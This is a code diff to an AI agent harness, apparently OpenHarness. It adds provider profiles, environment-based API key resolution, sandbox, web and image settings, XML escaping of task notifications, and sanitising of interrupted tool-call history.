return get_project_config_dir(cwd) / "pr_comments.md"
def get_project_autopilot_dir(cwd: str | Path) -> Path:
"""Return the per-project autopilot state directory."""
autopilot_dir = get_project_config_dir(cwd) / "autopilot"
autopilot_dir.mkdir(parents=True, exist_ok=True)
return autopilot_dir
def get_project_autopilot_registry_path(cwd: str | Path) -> Path:
"""Return the autopilot task registry path."""
return get_project_autopilot_dir(cwd) / "registry.json"
def get_project_repo_journal_path(cwd: str | Path) -> Path:
"""Return the append-only repo journal path."""
return get_project_autopilot_dir(cwd) / "repo_journal.jsonl"
def get_project_active_repo_context_path(cwd: str | Path) -> Path:
"""Return the synthesized active repo context path."""
return get_project_autopilot_dir(cwd) / "active_repo_context.md"
def get_project_autopilot_policy_path(cwd: str | Path) -> Path:
"""Return the autopilot policy path."""
return get_project_autopilot_dir(cwd) / "autopilot_policy.yaml"
def get_project_verification_policy_path(cwd: str | Path) -> Path:
"""Return the verification policy path."""
return get_project_autopilot_dir(cwd) / "verification_policy.yaml"
def get_project_release_policy_path(cwd: str | Path) -> Path:
"""Return the release policy path."""
return get_project_autopilot_dir(cwd) / "release_policy.yaml"
def get_project_autopilot_runs_dir(cwd: str | Path) -> Path:
"""Return the autopilot run artifacts directory."""
runs_dir = get_project_autopilot_dir(cwd) / "runs"
runs_dir.mkdir(parents=True, exist_ok=True)
return runs_dir
+13 -2
View File
@@ -25,12 +25,18 @@ class ProviderConfigs(_CompatModel):
class BaseChannelConfig(_CompatModel):
enabled: bool = False
allow_from: list[str] = Field(default_factory=lambda: ["*"])
# Secure default: enabling a channel does not automatically trust every
# remote sender. Operators must explicitly allow specific identities, or
# intentionally set ["*"] when they want open access.
allow_from: list[str] = Field(default_factory=list)
class TelegramConfig(BaseChannelConfig):
token: str = ""
chat_id: str | None = None
proxy: str | None = None
reply_to_message: bool = True
bot_name: str = "ohmo"
class SlackConfig(BaseChannelConfig):
@@ -48,6 +54,12 @@ class FeishuConfig(BaseChannelConfig):
app_secret: str = ""
encrypt_key: str = ""
verification_token: str = ""
# Group reply policy is enforced by ohmo gateway because managed-group
# metadata lives outside the generic Feishu channel adapter.
group_policy: str = "managed_or_mention"
bot_open_id: str = ""
bot_names: list[str] = Field(default_factory=lambda: ["ohmo", "openclaw", "openharness"])
domain: str = "https://open.feishu.cn" # use https://open.larksuite.com for Lark international
class DingTalkConfig(BaseChannelConfig):
@@ -105,4 +117,3 @@ class ChannelConfigs(_CompatModel):
class Config(_CompatModel):
channels: ChannelConfigs = Field(default_factory=ChannelConfigs)
providers: ProviderConfigs = Field(default_factory=ProviderConfigs)
+391 -57
View File
@@ -11,6 +11,7 @@ from __future__ import annotations
import json
import os
import re
from dataclasses import dataclass
from pathlib import Path
from typing import Any
@@ -20,6 +21,23 @@ from pydantic import BaseModel, Field
from openharness.hooks.schemas import HookDefinition
from openharness.mcp.types import McpServerConfig
from openharness.permissions.modes import PermissionMode
from openharness.utils.file_lock import exclusive_file_lock
from openharness.utils.fs import atomic_write_text
# ANSI escape sequence pattern
_ANSI_ESCAPE_PATTERN = re.compile(r"\x1b\[[0-9;]*m")
def strip_ansi_escape_sequences(text: str) -> str:
"""Remove ANSI escape sequences from text.
This is used to clean environment variables that may contain terminal
formatting codes (e.g., '[1m' for bold) which can corrupt API requests.
"""
if not text:
return text
return _ANSI_ESCAPE_PATTERN.sub("", text)
class PathRuleConfig(BaseModel):
@@ -45,6 +63,15 @@ class MemorySettings(BaseModel):
enabled: bool = True
max_files: int = 5
max_entrypoint_lines: int = 200
max_entrypoint_bytes: int = 25_000
context_window_tokens: int | None = None
auto_compact_threshold_tokens: int | None = None
auto_extract_enabled: bool = False
auto_extract_max_records: int = 3
session_memory_enabled: bool = True
auto_dream_enabled: bool = False
auto_dream_min_hours: float = 24.0
auto_dream_min_sessions: int = 5
class SandboxNetworkSettings(BaseModel):
@@ -63,14 +90,35 @@ class SandboxFilesystemSettings(BaseModel):
deny_write: list[str] = Field(default_factory=list)
class DockerSandboxSettings(BaseModel):
"""Docker-specific sandbox configuration."""
image: str = "openharness-sandbox:latest"
auto_build_image: bool = True
cpu_limit: float = 0.0
memory_limit: str = ""
extra_mounts: list[str] = Field(default_factory=list)
extra_env: dict[str, str] = Field(default_factory=dict)
class SandboxSettings(BaseModel):
"""Sandbox-runtime integration settings."""
enabled: bool = False
backend: str = "srt"
fail_if_unavailable: bool = False
enabled_platforms: list[str] = Field(default_factory=list)
network: SandboxNetworkSettings = Field(default_factory=SandboxNetworkSettings)
filesystem: SandboxFilesystemSettings = Field(default_factory=SandboxFilesystemSettings)
docker: DockerSandboxSettings = Field(default_factory=DockerSandboxSettings)
class WebSettings(BaseModel):
"""Outbound web tool configuration."""
proxy: str | None = None
resolution_mode: str = "auto"
synthetic_dns_cidrs: list[str] = Field(default_factory=list)
class ProviderProfile(BaseModel):
@@ -85,6 +133,8 @@ class ProviderProfile(BaseModel):
last_model: str | None = None
credential_slot: str | None = None
allowed_models: list[str] = Field(default_factory=list)
context_window_tokens: int | None = None
auto_compact_threshold_tokens: int | None = None
@property
def resolved_model(self) -> str:
@@ -189,6 +239,46 @@ def default_provider_profiles() -> dict[str, ProviderProfile]:
default_model="kimi-k2.5",
base_url="https://api.moonshot.cn/v1",
),
"gemini": ProviderProfile(
label="Google Gemini",
provider="gemini",
api_format="openai",
auth_source="gemini_api_key",
default_model="gemini-2.5-flash",
base_url="https://generativelanguage.googleapis.com/v1beta/openai",
),
"minimax": ProviderProfile(
label="MiniMax",
provider="minimax",
api_format="openai",
auth_source="minimax_api_key",
default_model="MiniMax-M2.7",
base_url="https://api.minimax.io/v1",
),
"nvidia": ProviderProfile(
label="NVIDIA NIM",
provider="nvidia",
api_format="openai",
auth_source="nvidia_api_key",
default_model="openai/gpt-oss-120b",
base_url="https://integrate.api.nvidia.com/v1",
),
"qwen": ProviderProfile(
label="Qwen (DashScope)",
provider="dashscope",
api_format="openai",
auth_source="dashscope_api_key",
default_model="qwen-plus",
base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
),
"modelscope": ProviderProfile(
label="ModelScope",
provider="modelscope",
api_format="openai",
auth_source="modelscope_api_key",
default_model="deepseek-ai/DeepSeek-V4-Flash",
base_url="https://api-inference.modelscope.cn/v1",
),
}
@@ -275,6 +365,10 @@ def auth_source_provider_name(auth_source: str) -> str:
"bedrock_api_key": "bedrock",
"vertex_api_key": "vertex",
"moonshot_api_key": "moonshot",
"gemini_api_key": "gemini",
"minimax_api_key": "minimax",
"nvidia_api_key": "nvidia",
"modelscope_api_key": "modelscope",
}
return mapping.get(auth_source, auth_source)
@@ -284,6 +378,30 @@ def auth_source_uses_api_key(auth_source: str) -> bool:
return auth_source.endswith("_api_key")
def auth_source_env_var_candidates(auth_source: str) -> tuple[str, ...]:
"""Return env vars to probe for an auth source in precedence order."""
mapping = {
"anthropic_api_key": ("OPENHARNESS_ANTHROPIC_API_KEY", "ANTHROPIC_API_KEY"),
"openai_api_key": ("OPENHARNESS_OPENAI_API_KEY", "OPENAI_API_KEY"),
"dashscope_api_key": ("OPENHARNESS_DASHSCOPE_API_KEY", "DASHSCOPE_API_KEY"),
"moonshot_api_key": ("OPENHARNESS_MOONSHOT_API_KEY", "MOONSHOT_API_KEY"),
"gemini_api_key": ("OPENHARNESS_GEMINI_API_KEY", "GEMINI_API_KEY"),
"minimax_api_key": ("OPENHARNESS_MINIMAX_API_KEY", "MINIMAX_API_KEY"),
"nvidia_api_key": ("OPENHARNESS_NVIDIA_API_KEY", "NVIDIA_API_KEY"),
"modelscope_api_key": ("OPENHARNESS_MODELSCOPE_API_KEY", "MODELSCOPE_API_KEY"),
}
return mapping.get(auth_source, ())
def resolve_auth_env_value(auth_source: str) -> tuple[str, str] | None:
"""Return the first configured env var/value pair for an auth source."""
for env_var in auth_source_env_var_candidates(auth_source):
env_value = os.environ.get(env_var, "")
if env_value:
return env_var, env_value
return None
def credential_storage_provider_name(profile_name: str, profile: ProviderProfile) -> str:
"""Return the storage namespace used for this profile's credential.
@@ -312,6 +430,14 @@ def default_auth_source_for_provider(provider: str, api_format: str | None = Non
return "vertex_api_key"
if provider == "moonshot":
return "moonshot_api_key"
if provider == "gemini":
return "gemini_api_key"
if provider == "minimax":
return "minimax_api_key"
if provider == "nvidia":
return "nvidia_api_key"
if provider == "modelscope":
return "modelscope_api_key"
if provider == "openai" or api_format == "openai":
return "openai_api_key"
return "anthropic_api_key"
@@ -380,6 +506,63 @@ def _profile_from_flat_settings(settings: "Settings") -> tuple[str, ProviderProf
return name, profile
class ImageGenerationConfig(BaseModel):
"""Configuration for the image_generation tool."""
provider: str = "auto"
model: str = "gpt-image-2"
api_key: str = ""
base_url: str = ""
codex_model: str = "gpt-5.4"
codex_base_url: str = ""
@classmethod
def from_env(cls) -> "ImageGenerationConfig":
"""Load image generation config from environment variables."""
return cls(
provider=os.environ.get("OPENHARNESS_IMAGE_GENERATION_PROVIDER", "auto").strip()
or "auto",
model=os.environ.get("OPENHARNESS_IMAGE_GENERATION_MODEL", "gpt-image-2").strip()
or "gpt-image-2",
api_key=os.environ.get("OPENHARNESS_IMAGE_GENERATION_API_KEY", "").strip(),
base_url=os.environ.get("OPENHARNESS_IMAGE_GENERATION_BASE_URL", "").strip(),
codex_model=os.environ.get("OPENHARNESS_IMAGE_GENERATION_CODEX_MODEL", "gpt-5.4").strip()
or "gpt-5.4",
codex_base_url=os.environ.get("OPENHARNESS_IMAGE_GENERATION_CODEX_BASE_URL", "").strip(),
)
@property
def is_configured(self) -> bool:
"""Return True when either a key provider or Codex provider is selected."""
return bool(self.api_key or self.provider in {"auto", "codex"})
class VisionModelConfig(BaseModel):
"""Configuration for the vision model used by the image_to_text tool.
When the active model does not support multimodal input, the agent loop
automatically falls back to this vision model to describe images.
"""
model: str = ""
api_key: str = ""
base_url: str = ""
@classmethod
def from_env(cls) -> "VisionModelConfig":
"""Load vision model config from environment variables."""
return cls(
model=os.environ.get("OPENHARNESS_VISION_MODEL", "").strip(),
api_key=os.environ.get("OPENHARNESS_VISION_API_KEY", "").strip(),
base_url=os.environ.get("OPENHARNESS_VISION_BASE_URL", "").strip(),
)
@property
def is_configured(self) -> bool:
"""Return True when both model and api_key are set."""
return bool(self.model and self.api_key)
class Settings(BaseModel):
"""Main settings model for OpenHarness."""
@@ -388,6 +571,9 @@ class Settings(BaseModel):
model: str = "claude-sonnet-4-6"
max_tokens: int = 16384
base_url: str | None = None
timeout: float = 30.0
context_window_tokens: int | None = None
auto_compact_threshold_tokens: int | None = None
api_format: str = "anthropic" # "anthropic", "openai", or "copilot"
provider: str = ""
active_profile: str = "claude-api"
@@ -400,7 +586,13 @@ class Settings(BaseModel):
hooks: dict[str, list[HookDefinition]] = Field(default_factory=dict)
memory: MemorySettings = Field(default_factory=MemorySettings)
sandbox: SandboxSettings = Field(default_factory=SandboxSettings)
web: WebSettings = Field(default_factory=WebSettings)
enabled_plugins: dict[str, bool] = Field(default_factory=dict)
allow_project_plugins: bool = False
allow_project_skills: bool = True
project_skill_dirs: list[str] = Field(
default_factory=lambda: [".openharness/skills", ".agents/skills", ".claude/skills"]
)
mcp_servers: dict[str, McpServerConfig] = Field(default_factory=dict)
# UI
@@ -413,6 +605,12 @@ class Settings(BaseModel):
passes: int = 1
verbose: bool = False
# Vision model (image-to-text fallback)
vision: VisionModelConfig = Field(default_factory=VisionModelConfig)
# Image generation model
image_generation: ImageGenerationConfig = Field(default_factory=ImageGenerationConfig)
def merged_profiles(self) -> dict[str, ProviderProfile]:
"""Return the saved profiles merged over the built-in catalog."""
merged = default_provider_profiles()
@@ -431,7 +629,7 @@ class Settings(BaseModel):
def resolve_profile(self, name: str | None = None) -> tuple[str, ProviderProfile]:
"""Return the active provider profile."""
profiles = self.merged_profiles()
profile_name = (name or self.active_profile or "").strip() or "claude-api"
profile_name = (name or self.active_profile or os.environ.get("OPENHARNESS_PROFILE") or "").strip() or "claude-api"
if profile_name not in profiles:
fallback_name, fallback = _profile_from_flat_settings(self)
profiles[fallback_name] = fallback
@@ -449,6 +647,8 @@ class Settings(BaseModel):
"provider": profile.provider,
"api_format": profile.api_format,
"base_url": profile.base_url,
"context_window_tokens": profile.context_window_tokens,
"auto_compact_threshold_tokens": profile.auto_compact_threshold_tokens,
"model": resolve_model_setting(
configured_model,
profile.provider,
@@ -466,9 +666,25 @@ class Settings(BaseModel):
directly before the profile layer is used everywhere.
"""
profile_name, profile = self.resolve_profile()
next_provider = (self.provider or "").strip() or profile.provider
next_api_format = (self.api_format or "").strip() or profile.api_format
next_base_url = self.base_url if self.base_url is not None else profile.base_url
profile_from_env = bool(os.environ.get("OPENHARNESS_PROFILE"))
flat_profile_fields_match_profile = profile_from_env or (
(self.provider or "").strip() == profile.provider
and (self.api_format or "").strip() == profile.api_format
and self.base_url == profile.base_url
)
next_provider = profile.provider if flat_profile_fields_match_profile else (self.provider or "").strip() or profile.provider
next_api_format = profile.api_format if flat_profile_fields_match_profile else (self.api_format or "").strip() or profile.api_format
next_base_url = profile.base_url if flat_profile_fields_match_profile else (self.base_url if self.base_url is not None else profile.base_url)
next_context_window_tokens = (
self.context_window_tokens
if self.context_window_tokens is not None
else profile.context_window_tokens
)
next_auto_compact_threshold_tokens = (
self.auto_compact_threshold_tokens
if self.auto_compact_threshold_tokens is not None
else profile.auto_compact_threshold_tokens
)
flat_model = (self.model or "").strip()
resolved_profile_model = resolve_model_setting(
(profile.last_model or "").strip() or profile.default_model,
@@ -492,6 +708,8 @@ class Settings(BaseModel):
"base_url": next_base_url,
"auth_source": next_auth_source,
"last_model": next_model,
"context_window_tokens": next_context_window_tokens,
"auto_compact_threshold_tokens": next_auto_compact_threshold_tokens,
}
)
profiles = self.merged_profiles()
@@ -527,19 +745,15 @@ class Settings(BaseModel):
if self.api_key:
return self.api_key
env_key = os.environ.get("ANTHROPIC_API_KEY", "")
if env_key:
return env_key
# Also check OPENAI_API_KEY for openai-format providers
openai_key = os.environ.get("OPENAI_API_KEY", "")
if openai_key:
return openai_key
env_resolved = resolve_auth_env_value(profile.auth_source)
if env_resolved:
_, env_value = env_resolved
return env_value
raise ValueError(
"No API key found. Set ANTHROPIC_API_KEY (or OPENAI_API_KEY for openai-format "
"providers) environment variable, or configure api_key in "
"~/.openharness/settings.json"
"No API key found. Set an OPENHARNESS_* provider API key "
"(preferred) or the matching native provider environment variable, "
"or configure api_key in ~/.openharness/settings.json"
)
def resolve_auth(self) -> ResolvedAuth:
@@ -548,6 +762,15 @@ class Settings(BaseModel):
provider = profile.provider.strip()
auth_source = profile.auth_source.strip() or default_auth_source_for_provider(provider, profile.api_format)
if auth_source in {"codex_subscription", "claude_subscription"}:
env_auth_token = os.environ.get("ANTHROPIC_AUTH_TOKEN", "").strip()
if auth_source == "claude_subscription" and env_auth_token:
return ResolvedAuth(
provider=provider,
auth_kind="oauth",
value=env_auth_token,
source="env:ANTHROPIC_AUTH_TOKEN",
state="configured",
)
from openharness.auth.external import (
is_third_party_anthropic_endpoint,
load_external_credential,
@@ -606,22 +829,16 @@ class Settings(BaseModel):
storage_provider = credential_storage_provider_name(profile_name, profile)
env_var = {
"anthropic_api_key": "ANTHROPIC_API_KEY",
"openai_api_key": "OPENAI_API_KEY",
"dashscope_api_key": "DASHSCOPE_API_KEY",
"moonshot_api_key": "MOONSHOT_API_KEY",
}.get(auth_source)
if env_var:
env_value = os.environ.get(env_var, "")
if env_value:
return ResolvedAuth(
provider=provider or storage_provider,
auth_kind="api_key",
value=env_value,
source=f"env:{env_var}",
state="configured",
)
env_resolved = resolve_auth_env_value(auth_source)
if env_resolved:
env_var, env_value = env_resolved
return ResolvedAuth(
provider=provider or storage_provider,
auth_kind="api_key",
value=env_value,
source=f"env:{env_var}",
state="configured",
)
explicit_key = "" if profile.credential_slot else self.api_key
if explicit_key:
@@ -651,63 +868,172 @@ class Settings(BaseModel):
def merge_cli_overrides(self, **overrides: Any) -> Settings:
"""Return a new Settings with CLI overrides applied (non-None values only)."""
updates = {k: v for k, v in overrides.items() if v is not None}
merged = self.model_copy(update=updates)
permission_mode = updates.pop("permission_mode", None)
def apply_permission_mode(settings: Settings) -> Settings:
if permission_mode is None:
return settings
return settings.model_copy(
update={
"permission": settings.permission.model_copy(
update={"mode": PermissionMode(str(permission_mode))}
)
}
)
# Strip ANSI escape sequences from model name if present
if "model" in updates and isinstance(updates["model"], str):
updates["model"] = strip_ansi_escape_sequences(updates["model"])
if "effort" in updates and isinstance(updates["effort"], str):
updates["effort"] = "xhigh" if updates["effort"].strip().lower() == "max" else updates["effort"].strip().lower()
merged = apply_permission_mode(self.model_copy(update=updates))
if not updates:
return merged
profile_keys = {"model", "base_url", "api_format", "provider", "api_key", "active_profile", "profiles"}
profile_keys = {
"model",
"base_url",
"api_format",
"provider",
"api_key",
"active_profile",
"profiles",
"context_window_tokens",
"auto_compact_threshold_tokens",
}
profile_updates = profile_keys.intersection(updates)
if not profile_updates:
return merged
if profile_updates.issubset({"active_profile"}):
return merged.materialize_active_profile()
if "active_profile" in profile_updates:
switch_updates = {
key: value
for key, value in updates.items()
if key not in profile_keys or key in {"active_profile", "profiles"}
}
switched = apply_permission_mode(self.model_copy(update=switch_updates)).materialize_active_profile()
remaining_profile_updates = {
key: value
for key, value in updates.items()
if key in profile_keys and key not in {"active_profile", "profiles"}
}
if not remaining_profile_updates:
return switched
return (
switched.model_copy(update=remaining_profile_updates)
.sync_active_profile_from_flat_fields()
.materialize_active_profile()
)
return merged.sync_active_profile_from_flat_fields().materialize_active_profile()
def _apply_env_overrides(settings: Settings) -> Settings:
"""Apply supported environment variable overrides over loaded settings."""
updates: dict[str, Any] = {}
model = os.environ.get("ANTHROPIC_MODEL") or os.environ.get("OPENHARNESS_MODEL")
if model:
updates["model"] = model
"""Apply supported environment variable overrides over loaded settings.
base_url = (
os.environ.get("ANTHROPIC_BASE_URL")
or os.environ.get("OPENAI_BASE_URL")
or os.environ.get("OPENHARNESS_BASE_URL")
)
if base_url:
updates["base_url"] = base_url
Provider-scoped env vars (``ANTHROPIC_BASE_URL``, ``ANTHROPIC_MODEL``,
``OPENAI_BASE_URL``) only apply when the active profile does *not*
explicitly configure the corresponding field. ``OPENHARNESS_*`` env vars
always override (explicit user intent).
"""
updates: dict[str, Any] = {}
# Resolve the active profile to check for explicit settings.
_, active_profile = settings.resolve_profile()
profile_has_base_url = active_profile.base_url is not None
profile_explicit_model = (active_profile.last_model or "").strip()
profile_has_explicit_model = bool(profile_explicit_model) and profile_explicit_model.lower() not in {"", "default"}
# --- model ---
openharness_model = os.environ.get("OPENHARNESS_MODEL")
if openharness_model:
updates["model"] = strip_ansi_escape_sequences(openharness_model)
elif not profile_has_explicit_model:
anthropic_model = os.environ.get("ANTHROPIC_MODEL")
if anthropic_model:
updates["model"] = strip_ansi_escape_sequences(anthropic_model)
# --- base_url ---
openharness_base = os.environ.get("OPENHARNESS_BASE_URL")
if openharness_base:
updates["base_url"] = openharness_base
elif not profile_has_base_url:
generic_base = os.environ.get("ANTHROPIC_BASE_URL") or os.environ.get("OPENAI_BASE_URL")
if generic_base:
updates["base_url"] = generic_base
max_tokens = os.environ.get("OPENHARNESS_MAX_TOKENS")
if max_tokens:
updates["max_tokens"] = int(max_tokens)
timeout = os.environ.get("OPENHARNESS_TIMEOUT")
if timeout:
updates["timeout"] = float(timeout)
max_turns = os.environ.get("OPENHARNESS_MAX_TURNS")
if max_turns:
updates["max_turns"] = int(max_turns)
api_key = os.environ.get("ANTHROPIC_API_KEY") or os.environ.get("OPENAI_API_KEY")
if api_key:
context_window_tokens = os.environ.get("OPENHARNESS_CONTEXT_WINDOW_TOKENS")
if context_window_tokens:
updates["context_window_tokens"] = int(context_window_tokens)
auto_compact_threshold_tokens = os.environ.get("OPENHARNESS_AUTO_COMPACT_THRESHOLD_TOKENS")
if auto_compact_threshold_tokens:
updates["auto_compact_threshold_tokens"] = int(auto_compact_threshold_tokens)
provider = os.environ.get("OPENHARNESS_PROVIDER")
api_format = os.environ.get("OPENHARNESS_API_FORMAT")
env_auth_source = active_profile.auth_source
if provider or api_format:
env_auth_source = default_auth_source_for_provider(
provider or active_profile.provider,
api_format or active_profile.api_format,
)
env_resolved = resolve_auth_env_value(env_auth_source)
if env_resolved:
_, api_key = env_resolved
updates["api_key"] = api_key
api_format = os.environ.get("OPENHARNESS_API_FORMAT")
if api_format:
updates["api_format"] = api_format
provider = os.environ.get("OPENHARNESS_PROVIDER")
if provider:
updates["provider"] = provider
sandbox_enabled = os.environ.get("OPENHARNESS_SANDBOX_ENABLED")
sandbox_fail = os.environ.get("OPENHARNESS_SANDBOX_FAIL_IF_UNAVAILABLE")
sandbox_backend = os.environ.get("OPENHARNESS_SANDBOX_BACKEND")
sandbox_docker_image = os.environ.get("OPENHARNESS_SANDBOX_DOCKER_IMAGE")
sandbox_updates: dict[str, Any] = {}
if sandbox_enabled is not None:
sandbox_updates["enabled"] = _parse_bool_env(sandbox_enabled)
if sandbox_fail is not None:
sandbox_updates["fail_if_unavailable"] = _parse_bool_env(sandbox_fail)
if sandbox_backend is not None:
sandbox_updates["backend"] = sandbox_backend
if sandbox_docker_image is not None:
sandbox_updates["docker"] = settings.sandbox.docker.model_copy(
update={"image": sandbox_docker_image}
)
if sandbox_updates:
updates["sandbox"] = settings.sandbox.model_copy(update=sandbox_updates)
web_updates: dict[str, Any] = {}
web_proxy = os.environ.get("OPENHARNESS_WEB_PROXY")
if web_proxy:
web_updates["proxy"] = web_proxy
web_resolution_mode = os.environ.get("OPENHARNESS_WEB_RESOLUTION_MODE")
if web_resolution_mode:
web_updates["resolution_mode"] = web_resolution_mode
web_synthetic_dns_cidrs = os.environ.get("OPENHARNESS_WEB_SYNTHETIC_DNS_CIDRS")
if web_synthetic_dns_cidrs:
web_updates["synthetic_dns_cidrs"] = [
entry.strip()
for entry in web_synthetic_dns_cidrs.split(",")
if entry.strip()
]
if web_updates:
updates["web"] = settings.web.model_copy(update=web_updates)
if not updates:
return settings
return settings.model_copy(update=updates)
@@ -735,6 +1061,9 @@ def load_settings(config_path: Path | None = None) -> Settings:
if config_path.exists():
raw = json.loads(config_path.read_text(encoding="utf-8"))
settings = Settings.model_validate(raw)
env_profile = os.environ.get("OPENHARNESS_PROFILE")
if env_profile:
settings = settings.model_copy(update={"active_profile": env_profile.strip()})
if "profiles" not in raw or "active_profile" not in raw:
profile_name, profile = _profile_from_flat_settings(settings)
merged_profiles = settings.merged_profiles()
@@ -747,7 +1076,11 @@ def load_settings(config_path: Path | None = None) -> Settings:
)
return _apply_env_overrides(settings.materialize_active_profile())
return _apply_env_overrides(Settings().materialize_active_profile())
settings = Settings()
env_profile = os.environ.get("OPENHARNESS_PROFILE")
if env_profile:
settings = settings.model_copy(update={"active_profile": env_profile.strip()})
return _apply_env_overrides(settings.materialize_active_profile())
def save_settings(settings: Settings, config_path: Path | None = None) -> None:
@@ -763,8 +1096,9 @@ def save_settings(settings: Settings, config_path: Path | None = None) -> None:
config_path = get_config_file_path()
settings = settings.sync_active_profile_from_flat_fields().materialize_active_profile()
config_path.parent.mkdir(parents=True, exist_ok=True)
config_path.write_text(
settings.model_dump_json(indent=2) + "\n",
encoding="utf-8",
)
lock_path = config_path.with_suffix(config_path.suffix + ".lock")
with exclusive_file_lock(lock_path):
atomic_write_text(
config_path,
settings.model_dump_json(indent=2) + "\n",
)
@@ -546,7 +546,7 @@ _BUILTIN_AGENTS: list[AgentDefinition] = [
),
tools=["Glob", "Grep", "Read", "WebFetch", "WebSearch"],
system_prompt=_CLAUDE_CODE_GUIDE_SYSTEM_PROMPT,
model="haiku",
model="inherit",
permission_mode="dontAsk",
subagent_type="claude-code-guide",
source="builtin",
@@ -565,7 +565,7 @@ _BUILTIN_AGENTS: list[AgentDefinition] = [
),
disallowed_tools=["agent", "exit_plan_mode", "file_edit", "file_write", "notebook_edit"],
system_prompt=_EXPLORE_SYSTEM_PROMPT,
model="haiku",
model="inherit",
omit_claude_md=True,
subagent_type="Explore",
source="builtin",
@@ -6,6 +6,7 @@ import os
import re
from dataclasses import dataclass, field
from typing import Optional
from xml.sax.saxutils import escape, unescape
# ---------------------------------------------------------------------------
@@ -109,12 +110,12 @@ def format_task_notification(n: TaskNotification) -> str:
"""Serialize a TaskNotification to the canonical XML envelope."""
parts = [
"<task-notification>",
f"<task-id>{n.task_id}</task-id>",
f"<status>{n.status}</status>",
f"<summary>{n.summary}</summary>",
f"<task-id>{escape(n.task_id)}</task-id>",
f"<status>{escape(n.status)}</status>",
f"<summary>{escape(n.summary)}</summary>",
]
if n.result is not None:
parts.append(f"<result>{n.result}</result>")
parts.append(f"<result>{escape(n.result)}</result>")
if n.usage:
parts.append("<usage>")
for key in _USAGE_FIELDS:
@@ -130,7 +131,7 @@ def parse_task_notification(xml: str) -> TaskNotification:
def _extract(tag: str) -> Optional[str]:
m = re.search(rf"<{tag}>(.*?)</{tag}>", xml, re.DOTALL)
return m.group(1).strip() if m else None
return unescape(m.group(1).strip()) if m else None
task_id = _extract("task-id") or ""
status = _extract("status") or ""
+75 -1
View File
@@ -8,7 +8,7 @@ from pathlib import Path
from typing import Any, Annotated, Literal
from uuid import uuid4
from pydantic import BaseModel, Field
from pydantic import BaseModel, Field, field_validator
class TextBlock(BaseModel):
@@ -53,6 +53,7 @@ class ToolResultBlock(BaseModel):
tool_use_id: str
content: str
is_error: bool = False
result_metadata: dict[str, Any] = Field(default_factory=dict)
ContentBlock = Annotated[
@@ -67,6 +68,14 @@ class ConversationMessage(BaseModel):
role: Literal["user", "assistant"]
content: list[ContentBlock] = Field(default_factory=list)
@field_validator("content", mode="before")
@classmethod
def _normalize_content(cls, value: Any) -> list[Any]:
"""Normalize legacy/null payloads before block validation."""
if value is None:
return []
return value
@classmethod
def from_user_text(cls, text: str) -> "ConversationMessage":
"""Construct a user message from raw text."""
@@ -96,6 +105,71 @@ class ConversationMessage(BaseModel):
"content": [serialize_content_block(block) for block in self.content],
}
def is_effectively_empty(self) -> bool:
"""Return True when the message carries no useful content."""
if self.content:
for block in self.content:
if isinstance(block, TextBlock) and block.text.strip():
return False
if isinstance(block, (ImageBlock, ToolUseBlock, ToolResultBlock)):
return False
return True
def sanitize_conversation_messages(messages: list[ConversationMessage]) -> list[ConversationMessage]:
"""Normalize restored conversation history into a provider-safe sequence.
This drops legacy empty assistant messages and trims malformed trailing tool
turns, such as an assistant ``tool_use`` message that never received a
matching user ``tool_result`` response. Those broken tails can happen when a
session is interrupted mid-turn and would later cause OpenAI-compatible
providers to reject the resumed conversation.
"""
sanitized: list[ConversationMessage] = []
pending_tool_use_ids: set[str] = set()
pending_tool_use_index: int | None = None
for message in messages:
if message.role == "assistant" and message.is_effectively_empty():
continue
tool_uses = message.tool_uses if message.role == "assistant" else []
tool_results = [
block for block in message.content if isinstance(block, ToolResultBlock)
] if message.role == "user" else []
matched_pending_tool_results = False
if pending_tool_use_ids:
result_ids = {block.tool_use_id for block in tool_results}
if message.role != "user" or not pending_tool_use_ids.issubset(result_ids):
if pending_tool_use_index is not None and pending_tool_use_index < len(sanitized):
sanitized.pop(pending_tool_use_index)
pending_tool_use_ids = set()
pending_tool_use_index = None
else:
matched_pending_tool_results = True
pending_tool_use_ids = set()
pending_tool_use_index = None
if message.role == "user" and tool_results and not matched_pending_tool_results:
content = [
block for block in message.content if not isinstance(block, ToolResultBlock)
]
if not content:
continue
message = ConversationMessage(role="user", content=content)
sanitized.append(message)
if tool_uses:
pending_tool_use_ids = {block.id for block in tool_uses}
pending_tool_use_index = len(sanitized) - 1
if pending_tool_use_ids and pending_tool_use_index is not None and pending_tool_use_index < len(sanitized):
sanitized.pop(pending_tool_use_index)
return sanitized
def serialize_content_block(block: ContentBlock) -> dict[str, Any]:
"""Convert a local content block into the provider wire format."""
+359 -12
View File
@@ -4,10 +4,12 @@ from __future__ import annotations
import asyncio
import logging
import re
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Any, AsyncIterator, Awaitable, Callable
from uuid import uuid4
from openharness.api.client import (
ApiMessageCompleteEvent,
@@ -16,8 +18,15 @@ from openharness.api.client import (
ApiTextDeltaEvent,
SupportsStreamingMessages,
)
from openharness.api.provider import is_model_multimodal
from openharness.api.usage import UsageSnapshot
from openharness.engine.messages import ConversationMessage, ToolResultBlock
from openharness.config.paths import get_data_dir
from openharness.engine.messages import (
ConversationMessage,
ImageBlock,
TextBlock,
ToolResultBlock,
)
from openharness.engine.stream_events import (
AssistantTextDelta,
AssistantTurnComplete,
@@ -30,11 +39,13 @@ from openharness.engine.stream_events import (
)
from openharness.hooks import HookEvent, HookExecutor
from openharness.permissions.checker import PermissionChecker
from openharness.services.tool_outputs import tool_output_inline_chars, tool_output_preview_chars
from openharness.tools.base import ToolExecutionContext
from openharness.tools.base import ToolRegistry
AUTO_COMPACT_STATUS_MESSAGE = "Auto-compacting conversation memory to keep things fast and focused."
REACTIVE_COMPACT_STATUS_MESSAGE = "Prompt too long; compacting conversation memory and retrying."
MAX_SAFE_COMPLETION_TOKENS = 128_000
log = logging.getLogger(__name__)
@@ -45,6 +56,7 @@ AskUserPrompt = Callable[[str], Awaitable[str]]
MAX_TRACKED_READ_FILES = 6
MAX_TRACKED_SKILLS = 8
MAX_TRACKED_ASYNC_AGENT_EVENTS = 8
MAX_TRACKED_ASYNC_AGENT_TASKS = 12
MAX_TRACKED_WORK_LOG = 10
MAX_TRACKED_USER_GOALS = 5
MAX_TRACKED_ACTIVE_ARTIFACTS = 8
@@ -57,16 +69,63 @@ def _is_prompt_too_long_error(exc: Exception) -> bool:
needle in text
for needle in (
"prompt too long",
"context_length_exceeded",
"context length",
"maximum context",
"context window",
"input tokens exceed",
"messages resulted in",
"reduce the length of the messages",
"configured limit",
